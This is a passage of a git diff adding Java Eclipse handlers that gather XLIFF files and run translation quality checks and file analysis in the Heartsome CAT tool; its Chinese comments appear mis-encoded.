PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .findView("net.heartsome.cat.common.ui.navigator.view"); + ArrayList selectIFiles = new ArrayList(); + if (HandlerUtil.getActivePart(event) instanceof IViewPart) { + ISelection currentSelection = (StructuredSelection) viewPart.getSite().getSelectionProvider().getSelection(); + if (currentSelection != null && !currentSelection.isEmpty() && currentSelection instanceof IStructuredSelection) { + + IStructuredSelection structuredSelection = (IStructuredSelection) currentSelection; + Iterator selectIt = structuredSelection.iterator(); + while (selectIt.hasNext()) { + Object object = selectIt.next(); + if (object instanceof IFile) { + IFile selectFile = (IFile) object; + String fileExtension = selectFile.getFileExtension(); + // 如果åŽç¼€åä¸æ˜¯xlf,那么就进行æ示 + if (fileExtension == null || !CommonFunction.validXlfExtension(fileExtension)) { + boolean isSure = MessageDialog.openConfirm(shell, Messages.getString("qa.all.dialog.warning"), + MessageFormat.format(Messages.getString("qa.all.tip.notXliff"), + new Object[] { selectFile.getFullPath() })); + if (!isSure) { + return null; + } + continue; + } + selectIFiles.add(selectFile); + } else if (object instanceof IProject ) { + IProject selectProject = (IProject) object; + try { + ResourceUtils.getXliffs(selectProject, selectIFiles); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.handlers.BatchQAHandler.log1"), e); + } + } else if (object instanceof IContainer) { + IContainer selectContainer = (IContainer) object; + try { + ResourceUtils.getXliffs(selectContainer, selectIFiles); + } catch (Exception e) { + logger.error(Messages.getString("qa.handlers.BatchQAHandler.log1"), e); + e.printStackTrace(); + } + } + } + } + }else { + //如果左边未选择å“质检查的类型,那么,获å–nattable中打开的文件 + IEditorPart activeEditor = HandlerUtil.getActiveEditor(event); + String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + if (activeEditor != null && !activeEditor.getSite().getId().equals(XLIFF_EDITOR_ID)) { + MessageDialog.openWarning(shell, Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.handlers.BatchQAHandler.tip2")); + return null; + } + XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable) activeEditor; + isMultiFile = nattable.isMultiFile(); + multiTempIFile = ((FileEditorInput) nattable.getEditorInput()).getFile(); + if (isMultiFile) { + List multiFilesList = new XLFHandler().getMultiFiles(multiTempIFile); + for (String multiFileStr : multiFilesList) { + selectIFiles.add(ResourceUtils.fileToIFile(multiFileStr)); + } + }else { + selectIFiles.add(multiTempIFile); + } + } + + CommonFunction.removeRepeateSelect(selectIFiles); + + if (selectIFiles.size() == 0) { + MessageDialog.openWarning(shell, Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.handlers.BatchQAHandler.tip1")); + return null; + } + + List lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : selectIFiles) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + XLFValidator.resetFlag(); + selectIFiles.removeAll(lstFiles); + if (selectIFiles.size() == 0) { + return null; + } + + model = new QAModel(); + model.setQaXlfList(selectIFiles); + quality = new QualityAssurance(model); + + BatchQADialog dialog = new BatchQADialog(shell, model, isMultiFile); + int result = dialog.open(); + + if (result == IDialogConstants.OK_ID) { + // 先调用方法,查看å“质检查结果视图是å¦å¤„于显示状æ€ï¼Œå¦‚æžœæ˜¾ç¤ºäº†çš„ã€‚åˆ é™¤æ•°æ® + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart view = workbenchPage.findView(QAResultViewPart.ID); + if (view != null) { + // è¿è¡Œæ—¶ï¼Œå°†ç»“果视图中列表的数æ®æ¸…除 + ((QAResultViewPart) view).clearTableData(); + } + + QAResult qaResult = new QAResult(); + + // 存储å“质检查的检查项 + model.setBatchQAItemIdList(getBatchQAItems()); + // 存储å“质检查的检查时ä¸åŒ…括的文本段 + model.setNotInclude(getNotIncludePara()); + + //ç»™å“质检查结果视图å‘出通告,本次检查对象为åˆå¹¶æ‰“开文件 +// qaResult.firePropertyChange(isMultiFile, new MultiFilesOper(selectIFiles.get(0).getProject(), selectIFiles, multiTempIFile)); + + // 将当å‰æ‰€å¤„ç†çš„文件传至 qaResult + List fileList = new ArrayList(); + for(IFile iFIle : model.getQaXlfList()){ + fileList.add(iFIle.getLocation().toOSString()); + } + qaResult.setFilePathList(fileList); + + HsMultiActiveCellEditor.commit(true); + if (isMultiFile) { + model.setMuliFiles(true); + model.setMultiOper(new MultiFilesOper(selectIFiles.get(0).getProject(), selectIFiles, multiTempIFile)); + qaResult.setMultiOper(model.getMultiOper()); + quality.beginMultiFileQA(qaResult); + }else { + model.setMuliFiles(false); + qaResult.setMultiOper(model.getMultiOper()); + quality.beginQA(qaResult); + } + } + + return null; + } + + /** + * 从首选项中获å–批é‡æ£€æŸ¥ä¸­è¦æ£€æŸ¥çš„项 + * @return + */ + public LinkedList getBatchQAItems() { + LinkedList itemsList = new LinkedList(); + + String itemsValue = preferenceStore.getString(QAConstant.QA_PREF_BATCH_QAITEMS); + List itemsValList = new ArrayList(); + String[] itemsValArray = itemsValue.split(","); + for (int index = 0; index < itemsValArray.length; index++) { + itemsValList.add(itemsValArray[index]); + } + + //获å–所有的å“质检查项的标识符 + model.getQaItemId_Name_Class().keySet(); + Iterator qaIt = model.getQaItemId_Name_Class().keySet().iterator(); + while (qaIt.hasNext()) { + String qaItermId = qaIt.next(); + if (itemsValList.indexOf(qaItermId) >= 0) { + itemsList.add(qaItermId); + } + } + + return itemsList; + } + + /** + * 获å–首选项中å“质检查的ä¸åŒ…括的文本段 + * @return + */ + public Map getNotIncludePara() { + Map notInclude = new HashMap(); + + // ä¸åŒ…æ‹¬ä¸Šä¸‹æ–‡åŒ¹é… + notInclude.put(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)); + // ä¸åŒ…括完æˆåŒ¹é… + notInclude.put(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE)); + // ä¸åŒ…括已é”文本段 + notInclude.put(QAConstant.QA_PREF_LOCKED_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_LOCKED_NOTINCLUDE)); + + return notInclude; + + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/FileAnalysisHandler.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/FileAnalysisHandler.java new file mode 100644 index 0000000..6cf2e84 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/FileAnalysisHandler.java @@ -0,0 +1,357 @@ +package net.heartsome.cat.ts.ui.qa.handlers; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.core.qa.FAModel; +import net.heartsome.cat.ts.core.qa.FileAnalysis; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 文件分æžå­èœå•ä¸‹çš„字数分æžçš„handler。 + * @author robert 2011-12-07 + */ +public class FileAnalysisHandler extends AbstractHandler { + private FAModel model; + private Shell shell; + /** 解æžå‡ºé”™æ—¶æ˜¯å¦ç»§ç»­æ‰§è¡Œï¼Œ0为继续,1为出错时继续执行,2为出错时退出执行 */ + private int continuResponse; + /** 文件分æžé¡¹(字数分æžï¼Œç¿»è¯‘进度分æžï¼Œç¼–辑进度分æž) */ + private String faItemId; + /** 文件分æžé¡¹çš„å称 */ + private String title; + private int allTUSize; + /** é’ˆå¯¹é€‰æ‹©å½“å‰ nattable 编辑器是å¦åˆå¹¶æ‰“å¼€ */ + private boolean isMultiFile; + public final static Logger logger = LoggerFactory.getLogger(FileAnalysisHandler.class.getName()); + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + logger.error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + SystemResourceUtil.load(); + model = new FAModel(); + faItemId = event.getParameter("faItemId"); + allTUSize = 0; + + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + shell = window.getShell(); + IFile multiTempIFile = null; + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .findView("net.heartsome.cat.common.ui.navigator.view"); + ArrayList selectIFiles = new ArrayList(); + if (HandlerUtil.getActivePart(event) instanceof IViewPart) { + ISelection currentSelection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + if (currentSelection != null && !currentSelection.isEmpty() + && currentSelection instanceof IStructuredSelection) { + + IStructuredSelection structuredSelection = (IStructuredSelection) currentSelection; + @SuppressWarnings("unchecked") + Iterator selectIt = structuredSelection.iterator(); + while (selectIt.hasNext()) { + Object object = selectIt.next(); + if (object instanceof IFile) { + IFile selectFile = (IFile) object; + String fileExtension = selectFile.getFileExtension(); + // 如果åŽç¼€åä¸æ˜¯xlf,那么就进行æ示 + if (fileExtension == null || !CommonFunction.validXlfExtension(fileExtension)) { + boolean isSure = MessageDialog.openConfirm(shell, Messages + .getString("qa.all.dialog.warning"), MessageFormat.format( + Messages.getString("qa.all.tip.notXliff"), + new Object[] { selectFile.getFullPath() })); + if (!isSure) { + return null; + } + } + selectIFiles.add(selectFile); + } else if (object instanceof IContainer) { + IContainer selectContainer = (IContainer) object; + try { + ResourceUtils.getXliffs(selectContainer, selectIFiles); + + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.handlers.FileAnalysisHandler.log1"), e); + } + } + } + } + + } else if (HandlerUtil.getActivePart(event) instanceof IEditorPart) { + // 如果左边未选择å“质检查的类型,那么,获å–nattable中打开的文件 + IEditorPart activeEditor = HandlerUtil.getActiveEditor(event); + String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + if (activeEditor != null && !activeEditor.getSite().getId().equals(XLIFF_EDITOR_ID)) { + MessageDialog.openWarning(shell, Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.handlers.BatchQAHandler.tip2")); + return null; + } + XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable) activeEditor; + isMultiFile = nattable.isMultiFile(); + multiTempIFile = ((FileEditorInput) nattable.getEditorInput()).getFile(); + if (isMultiFile) { + List multiFilesList = new XLFHandler().getMultiFiles(multiTempIFile); + for (String multiFileStr : multiFilesList) { + selectIFiles.add(ResourceUtils.fileToIFile(multiFileStr)); + } + } else { + selectIFiles.add(multiTempIFile); + } + + } else { + MessageDialog.openWarning(shell, Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.handlers.FileAnalysisHandler.tip3")); + return null; + } + + CommonFunction.removeRepeateSelect(selectIFiles); + + if (selectIFiles.size() <= 0) { + MessageDialog.openWarning(shell, Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.handlers.FileAnalysisHandler.tip1")); + return null; + } + + List lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : selectIFiles) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + XLFValidator.resetFlag(); + selectIFiles.removeAll(lstFiles); + if (selectIFiles.size() == 0) { + return null; + } + + // 判断è¦åˆ†æžçš„文件是å¦æ˜¯å±žäºŽåŒä¸€ä¸ªé¡¹ç›®ä¸­çš„. + IProject project = selectIFiles.get(0).getProject(); + if (selectIFiles.size() >= 2) { + for (int i = 1; i < selectIFiles.size(); i++) { + if (selectIFiles.get(i).getProject() != project) { + MessageDialog.openWarning(shell, Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.handlers.FileAnalysisHandler.tip2")); + return null; + } + } + } + + model.setAnalysisIFileList(selectIFiles); + model.setShell(shell); + model.setMultiFile(isMultiFile); + if (isMultiFile) { + model.setMultiTempIFile(multiTempIFile); + } + + // 文件分æžæ¡†çš„框å + title = model.getAnalysisItemMap().get(faItemId).get(QAConstant.FA_ITEM_NAME); + FileAnalysisDialog dialog = new FileAnalysisDialog(shell, model, title, faItemId); + int result = dialog.open(); + + if (result == IDialogConstants.OK_ID) { + analysisFile(title); + } + return null; + } + + /** + * 准备分æžæ–‡ä»¶ + */ + public void analysisFile(String title) { + final QAXmlHandler handler = new QAXmlHandler(); + Job job = new Job(title) { + @Override + protected IStatus run(IProgressMonitor monitor) { + // è¦åˆ†æžçš„文件的个数 + int fileNum = model.getAnalysisIFileList().size(); + model.setSubFileNum(fileNum); + // 定义的进度æ¡æ€»å…±å››æ ¼ï¼Œå…¶ä¸­ï¼Œè§£æžæ–‡ä»¶ä¸€æ ¼ï¼Œåˆ†æžæ–‡ä»¶ä¸‰æ ¼ + monitor.beginTask("", fileNum * 4); + + // 解æžæ–‡ä»¶,如果解æžä¸æˆåŠŸï¼Œé€€å‡ºç¨‹åº, 解æžè¦åˆ†æžçš„文件,用掉fileNum*1ä¸ªæ ¼å­ + if (!openXliff(handler, monitor)) { + monitor.done(); + return Status.CANCEL_STATUS; + } + + if (model.getAnalysisIFileList().size() == 0) { + MessageDialog.openInformation(shell, Messages.getString("qa.all.dialog.info"), + Messages.getString("qa.handlers.FileAnalysisHandler.tip4")); + return Status.CANCEL_STATUS; + } + + // å¡«å……è¦åˆ†æžæ–‡ä»¶çš„所有trans-unit节点个数的总和 + model.setAllTuSize(allTUSize); + + FileAnalysis fileAnalysis = getClassInstance(faItemId); + + // 分æžæ–‡ä»¶ç”¨åŽ»fileNum*3ä¸ªæ ¼å­ + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, fileNum * 3, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + + int analysisResult = fileAnalysis.beginAnalysis(model, subMonitor, handler); + if (analysisResult == -1 || analysisResult == QAConstant.QA_ZERO) { + return Status.CANCEL_STATUS; + } + + subMonitor.done(); + monitor.done(); + return Status.OK_STATUS; + } + }; + + job.addJobChangeListener(new JobChangeAdapter(){ + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + job.setUser(true); + job.schedule(); + + } + + /** + * 解æžæ‰€æœ‰çš„xliff文件 + * @param handler + * @param monitor + * @return + */ + public boolean openXliff(QAXmlHandler handler, IProgressMonitor monitor) { + for (int fileIndex = 0; fileIndex < model.getAnalysisIFileList().size(); fileIndex++) { + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + + final IFile iFile = model.getAnalysisIFileList().get(fileIndex); + subMonitor.setTaskName(MessageFormat.format(Messages.getString("qa.handlers.FileAnalysisHandler.tip5"), + new Object[] { title, iFile.getFullPath().toString() })); + + continuResponse = QAConstant.QA_ZERO; + try { + Map newResultMap = handler.openFile(iFile.getLocation().toOSString(), subMonitor); + // é’ˆå¯¹é€€å‡ºè§£æž + if (newResultMap != null + && QAConstant.RETURNVALUE_RESULT_RETURN.equals(newResultMap.get(QAConstant.RETURNVALUE_RESULT))) { + return false; + } + + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + model.getErrorIFileList().add(iFile); + // 针对文件解æžå‡ºé”™ + Display.getDefault().syncExec(new Runnable() { + public void run() { + boolean response = MessageDialog.openConfirm(shell, Messages + .getString("qa.all.dialog.error"), MessageFormat.format(Messages + .getString("qa.all.tip.openXliffError"), new Object[] { iFile.getFullPath() + .toOSString() })); + if (response) { + continuResponse = QAConstant.QA_FIRST; + } else { + continuResponse = QAConstant.QA_TWO; + } + } + }); + } + + if (continuResponse == QAConstant.QA_FIRST) { + model.getAnalysisIFileList().remove(fileIndex); + fileIndex--; + continue; + } else if (continuResponse == QAConstant.QA_TWO) { + return false; + } + + allTUSize += handler.getTuSizeMap().get(iFile.getLocation().toOSString()); + } catch (Exception e) { + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.info"), + Messages.getString("qa.all.log.openXmlError") + e); + logger.error(Messages.getString("qa.all.log.openXmlError"), e); + return false; + } + } + return true; + + } + + /** + * 获å–æŸä¸ªæ£€æŸ¥é¡¹å®žçŽ°ç±»çš„实例 + * @param faItemId + * 文件分æžé¡¹ï¼Œå³å­—数分æžï¼Œç¿»è¯‘进度分æžï¼Œç¼–è¾‘è¿›åº¦åˆ†æž + * @return + */ + public FileAnalysis getClassInstance(String faItemId) { + try { + Map valueMap = model.getAnalysisItemMap().get(faItemId); + Object obj = null; + try { + obj = Class.forName(valueMap.get(QAConstant.FA_ITEM_CLASSNAME)).newInstance(); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.handlers.FileAnalysisHandler.log2"), e); + } + if (FileAnalysis.class.isInstance(obj)) { + return (FileAnalysis) obj; + } + } catch (Exception e) { + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.info"), + Messages.getString("qa.handlers.FileAnalysisHandler.tip6") + e); + logger.error(Messages.getString("qa.handlers.FileAnalysisHandler.tip6"), e); + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/NumberOrTagConsisQAHandler.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/NumberOrTagConsisQAHandler.java new file mode 100644 index 0000000..35016f8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/NumberOrTagConsisQAHandler.java @@ -0,0 +1,299 @@ +package net.heartsome.cat.ts.ui.qa.handlers; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.NumberConsistenceQA; +import net.heartsome.cat.ts.ui.qa.TagConsistenceQA; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.views.QAResultViewPart; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; + +/** + * 字数分æžä¸Žæ ‡è®°ä¸€è‡´æ€§æ£€æŸ¥çš„触å‘ç±» + * @author robert 2012-06-04 + */ +public class NumberOrTagConsisQAHandler extends AbstractHandler { + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ */ + private int workInterval = 1; + private QAXmlHandler xmlHandler; + private String _INFO = Messages.getString("qa.all.dialog.info"); + private String _ERROR = Messages.getString("qa.all.dialog.error"); + + @SuppressWarnings("unused") + private Shell shell; + /** 连接符å·ï¼Œç”¨äºŽè¿žæŽ¥æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€çš„ç§ç±»ï¼Œä¾‹å¦‚“zh-CN -> en†,这个è¦ä¸Žnattableç•Œé¢ä¸Šçš„过滤æ¡ä»¶ä¿æŒä¸€è‡´ */ + private static final String Hyphen = " -> "; + + public Object execute(ExecutionEvent event) throws ExecutionException { + boolean isMultiFile = false; + IFile multiTempIFile = null; + IEditorPart editorPart = HandlerUtil.getActiveEditor(event); + // 改为布局 + if (editorPart != null && editorPart instanceof XLIFFEditorImplWithNatTable) { + String qaItem = event.getParameter("qaItemId"); + XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable) editorPart; + ArrayList selectIFiles = new ArrayList(); + FileEditorInput input = (FileEditorInput) nattable.getEditorInput(); + + // 首先判断是å¦æ˜¯åˆå¹¶æ‰“开的文件 + if (nattable.isMultiFile()) { + isMultiFile = true; + } + if (isMultiFile) { + multiTempIFile = input.getFile(); + List multiFilesList = new XLFHandler().getMultiFiles(multiTempIFile); + for (String filePath : multiFilesList) { + selectIFiles.add(ResourceUtils.fileToIFile(filePath)); + } + } else { + selectIFiles.add(input.getFile()); + } + + QAModel model = new QAModel(); + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + shell = window.getShell(); + // 先调用方法,查看å“质检查结果视图是å¦å¤„于显示状æ€ï¼Œå¦‚æžœæ˜¯æ˜¾ç¤ºçš„ï¼Œå°±åˆ é™¤æ•°æ® + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart view = workbenchPage.findView(QAResultViewPart.ID); + if (view != null) { + // è¿è¡Œæ—¶ï¼Œå°†ç»“果视图中列表的数æ®æ¸…除 + ((QAResultViewPart) view).clearTableData(); + } + + QAResult qaResult = new QAResult(); + + // 存储å“质检查的检查项 + // model.setBatchQAItemIdList(getBatchQAItems()); + // 存储å“质检查的检查时ä¸åŒ…括的文本段 + model.setNotInclude(getNotIncludePara()); + + // ç»™å“质检查结果视图å‘出通告,本次检查对象为åˆå¹¶æ‰“开文件 + qaResult.firePropertyChange(isMultiFile, new MultiFilesOper(selectIFiles.get(0).getProject(), selectIFiles, + multiTempIFile)); + if (isMultiFile) { + model.setMuliFiles(true); + model.setMultiOper(new MultiFilesOper(selectIFiles.get(0).getProject(), selectIFiles,multiTempIFile)); + } else { + model.setMuliFiles(false); + } + + boolean isNumberQA = false; + if (QAConstant.QA_NUMBER.equals(qaItem)) { + isNumberQA = true; + } else if (QAConstant.QA_TAG.equals(qaItem)) { + isNumberQA = false; + } + + HsMultiActiveCellEditor.commit(true); + beginQA(selectIFiles, model, isNumberQA, qaResult); + } + return null; + } + + private void beginQA(final ArrayList selectIFiles, final QAModel model, final boolean isNumberQA, + final QAResult qaResult) { + final String titile = isNumberQA ? Messages.getString("qa.NumberOrTagConsisQAHandler.jobTitle1") : Messages + .getString("qa.NumberOrTagConsisQAHandler.jobTitle2"); + Job job = new Job(titile) { + @Override + protected IStatus run(IProgressMonitor monitor) { + // 解æžä¸€æ ¼ï¼Œå…¶ä½™ä¹æ ¼ + monitor.beginTask(titile, 10 * selectIFiles.size()); + xmlHandler = new QAXmlHandler(); + // 首先解æžæ–‡ä»¶ï¼Œå¦‚果为false,则退出 + if (!openFile(selectIFiles, monitor)) { + return Status.OK_STATUS; + } + int allTUSize = 0; + for (IFile iFile : selectIFiles) { + allTUSize += xmlHandler.getTuSizeMap().get(iFile.getLocation().toOSString()); + } + initWorkInterval(allTUSize); + + // 开始进行数æ®å¤„ç† + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 9, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask(titile + "...", allTUSize % workInterval == 0 ? (allTUSize / workInterval) + : (allTUSize / workInterval) + 1); + + Map> languageList = xmlHandler.getLanguages(); + int lineNumber = 0; + int traversalTuIndex = 0; + IFile iFile; + for (Entry> langEntry : languageList.entrySet()) { + String srcLang = langEntry.getKey(); + for (String tgtLang : langEntry.getValue()) { + List rowIdsList = xmlHandler.getAllRowIdsByLanguages(srcLang.toUpperCase(), + tgtLang.toUpperCase()); + model.setRowIdsList(rowIdsList); + // 开始针对æ¯ä¸€ä¸ªæ–‡æœ¬æ®µè¿›è¡Œæ£€æŸ¥ + for (String rowId : rowIdsList) { + traversalTuIndex++; + lineNumber = rowIdsList.indexOf(rowId) + 1; // è¡Œå· + String filePath = RowIdUtil.getFileNameByRowId(rowId); + iFile = ResourceUtils.fileToIFile(filePath); + String langPair = srcLang + Hyphen + tgtLang; + Map tuMap = xmlHandler.getFilteredTUText(filePath, + RowIdUtil.parseRowIdToXPath(rowId), model.getNotInclude()); + if (tuMap == null) { + if (!xmlHandler.monitorWork(subMonitor, traversalTuIndex, workInterval, false)) { + return Status.CANCEL_STATUS; + } + continue; + } + + if (tuMap.size() == 0) { + if (!xmlHandler.monitorWork(subMonitor, traversalTuIndex, workInterval, false)) { + return Status.CANCEL_STATUS; + } + continue; + } else if ("".equals(tuMap.get("tarContent")) || tuMap.get("tarContent") == null) { // 正常情况下应有四个值 + // 因为文本段完整性检查è¦åˆ¤æ–­è¯‘文是å¦ä¸ºç©ºçš„情况,所以,如果译文为空,åªæœ‰æ–‡æœ¬æ®µå®Œæ•´æ€§è¦è¿›è¡Œæ£€æŸ¥ï¼Œå…¶ä»–检查项都跳过。 + continue; + } + + tuMap.put("lineNumber", "" + lineNumber); + tuMap.put("iFileFullPath", iFile.getFullPath().toOSString()); + tuMap.put("langPair", langPair); + tuMap.put("source_lan", srcLang); + tuMap.put("target_lan", tgtLang); + + if (isNumberQA) { + NumberConsistenceQA numberQA = new NumberConsistenceQA(); + qaResult.setMultiOper(model.getMultiOper()); + numberQA.setQaResult(qaResult); + numberQA.startQA(model, subMonitor, iFile, xmlHandler, tuMap); + } else { + TagConsistenceQA tagQA = new TagConsistenceQA(); + qaResult.setMultiOper(model.getMultiOper()); + tagQA.setQaResult(qaResult); + tagQA.startQA(model, subMonitor, iFile, xmlHandler, tuMap); + } + qaResult.sendDataToViewer(tuMap.get("rowId")); + + if (!xmlHandler.monitorWork(subMonitor, traversalTuIndex, workInterval, false)) { + return Status.CANCEL_STATUS; + } + } + } + if (!xmlHandler.monitorWork(subMonitor, traversalTuIndex, workInterval, false)) { + return Status.CANCEL_STATUS; + } + } + subMonitor.done(); + + monitor.done(); + return Status.OK_STATUS; + } + + }; + job.addJobChangeListener(new JobChangeAdapter(){ + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + + job.setUser(true); + job.schedule(); + + } + + /** + * 解æžæ–‡ä»¶ + * @param selectIFiles + */ + private boolean openFile(ArrayList selectIFiles, IProgressMonitor monitor) { + for (final IFile iFile : selectIFiles) { + IProgressMonitor openMonitor = new SubProgressMonitor(monitor, 1, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + Map newResultMap = xmlHandler.openFile(iFile.getLocation().toOSString(), openMonitor); + // é’ˆå¯¹é€€å‡ºè§£æž + if (newResultMap != null + && QAConstant.RETURNVALUE_RESULT_RETURN.equals(newResultMap.get(QAConstant.RETURNVALUE_RESULT))) { + return false; + } + + if (newResultMap == null + || 